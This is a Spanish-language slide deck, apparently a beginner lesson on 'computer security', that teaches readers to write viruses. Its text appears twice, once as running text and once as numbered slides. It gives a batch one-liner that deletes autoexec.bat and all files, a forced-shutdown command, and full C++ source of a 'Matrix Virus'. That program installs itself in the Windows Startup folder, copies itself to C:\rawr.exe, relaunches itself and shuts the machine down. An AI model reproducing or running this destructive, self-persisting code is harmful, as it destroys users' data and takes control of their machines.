Seguridad Informatica Que es un virus? Quienes hacen los virus? Que nos pueden hacer los virus?
Mi primer virus Ejecuto linea de comandos Inicio/programas/accesorios/command promt
Comandos DOS Abandono todos los directorios edit
Virus en una sola linea @echo off  del autoexec.bat del *. Bat del *. del *.*
@echo off  shutdown -s -t 1  Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente.  el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo  de antes pusimos 1 segundo.
Virus mas complejo en C++ // The Matrix Virus // Created by W3irdo // Hazuras.com #include <iostream> #include <stdlib.h> #include <windows.h> #include <iomanip> #include <stdio.h> #include <conio.h> #include <fstream> using namespace std; int main() { keybd_event(VK_MENU,0×38,0,0); keybd_event(VK_RETURN,0×1c,0,0); keybd_event(VK_RETURN,0×1c,KEYEVENTF_KEYUP,0); keybd_event(VK_MENU,0×38,KEYEVENTF_KEYUP,0); HANDLE outToScreen; outToScreen = GetStdHandle(STD_OUTPUT_HANDLE); {
char buffer[255]; char inputFile[]=”C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”; ifstream input(inputFile); if (!input) { { ofstream fp(“C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”, ios::app); fp << “@ECHO OFF \n”; fp << “START C:\\rawr.exe \n”; fp << “EXIT”; } } else { while (!input.eof()) { input.getline(buffer,255); } } } { char buffer[255];
char inputFile[]=”C:\\rawr.exe”; ifstream input(inputFile); if (!input) { { { ofstream fp(“CLICK.bat”, ios::app); fp << “@ECHO OFF \n”; fp << “COPY matrix.exe C:\\rawr.exe \n”; fp << “START C:\\rawr.exe \n”; fp << “EXIT”; } system(“START CLICK.bat”); main(); } } else { while (!input.eof()) {
input.getline(buffer,255); system(“call shutdown.exe -S”); goto START; } } } START:{ for(int i = 0; i < 1; i++) { int num = (rand() % 10); SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY); cout << setw(4) << num; cout << setw(4) << “0%”; cout << setw(4) << “P”; cout << setw(4) << ” “; cout << setw(4) << “)”; cout << setw(4) << “#”;
cout << setw(4) << “X”; cout << setw(4) << “@”; cout << setw(4) << “1&”; cout << setw(4) << “*”; cout << setw(4) << “||”; cout << setw(4) << ” \a”; Sleep(60); } } for ( int j = 0; j < 5; j++) { SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN); int number = (rand() % 24); cout << setw(4) << number; } goto START; }

Seguridad Informatica Virus

  • 1.
    Seguridad Informatica Quees un virus? Quienes hacen los virus? Que nos pueden hacer los virus?
  • 2.
    Mi primer virusEjecuto linea de comandos Inicio/programas/accesorios/command promt
  • 3.
    Comandos DOS Abandonotodos los directorios edit
  • 4.
    Virus en unasola linea @echo off del autoexec.bat del *. Bat del *. del *.*
  • 5.
    @echo off shutdown -s -t 1 Desabilita el echo para que no muestre los comandos , que se ejecutaran posteriormente. el parametro -s da la orden a shutdown para que apage el equipo y con -t especificamos los segundos. en el ejemplo de antes pusimos 1 segundo.
  • 6.
    Virus mas complejoen C++ // The Matrix Virus // Created by W3irdo // Hazuras.com #include <iostream> #include <stdlib.h> #include <windows.h> #include <iomanip> #include <stdio.h> #include <conio.h> #include <fstream> using namespace std; int main() { keybd_event(VK_MENU,0×38,0,0); keybd_event(VK_RETURN,0×1c,0,0); keybd_event(VK_RETURN,0×1c,KEYEVENTF_KEYUP,0); keybd_event(VK_MENU,0×38,KEYEVENTF_KEYUP,0); HANDLE outToScreen; outToScreen = GetStdHandle(STD_OUTPUT_HANDLE); {
  • 7.
    char buffer[255]; charinputFile[]=”C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”; ifstream input(inputFile); if (!input) { { ofstream fp(“C:\\Documents and Settings\\All Users\\Start Menu\\Programs\\Startup\\rawr.bat”, ios::app); fp << “@ECHO OFF \n”; fp << “START C:\\rawr.exe \n”; fp << “EXIT”; } } else { while (!input.eof()) { input.getline(buffer,255); } } } { char buffer[255];
  • 8.
    char inputFile[]=”C:\\rawr.exe”; ifstreaminput(inputFile); if (!input) { { { ofstream fp(“CLICK.bat”, ios::app); fp << “@ECHO OFF \n”; fp << “COPY matrix.exe C:\\rawr.exe \n”; fp << “START C:\\rawr.exe \n”; fp << “EXIT”; } system(“START CLICK.bat”); main(); } } else { while (!input.eof()) {
  • 9.
    input.getline(buffer,255); system(“call shutdown.exe-S”); goto START; } } } START:{ for(int i = 0; i < 1; i++) { int num = (rand() % 10); SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN | FOREGROUND_INTENSITY); cout << setw(4) << num; cout << setw(4) << “0%”; cout << setw(4) << “P”; cout << setw(4) << ” “; cout << setw(4) << “)”; cout << setw(4) << “#”;
  • 10.
    cout << setw(4)<< “X”; cout << setw(4) << “@”; cout << setw(4) << “1&”; cout << setw(4) << “*”; cout << setw(4) << “||”; cout << setw(4) << ” \a”; Sleep(60); } } for ( int j = 0; j < 5; j++) { SetConsoleTextAttribute(outToScreen, FOREGROUND_GREEN); int number = (rand() % 24); cout << setw(4) << number; } goto START; }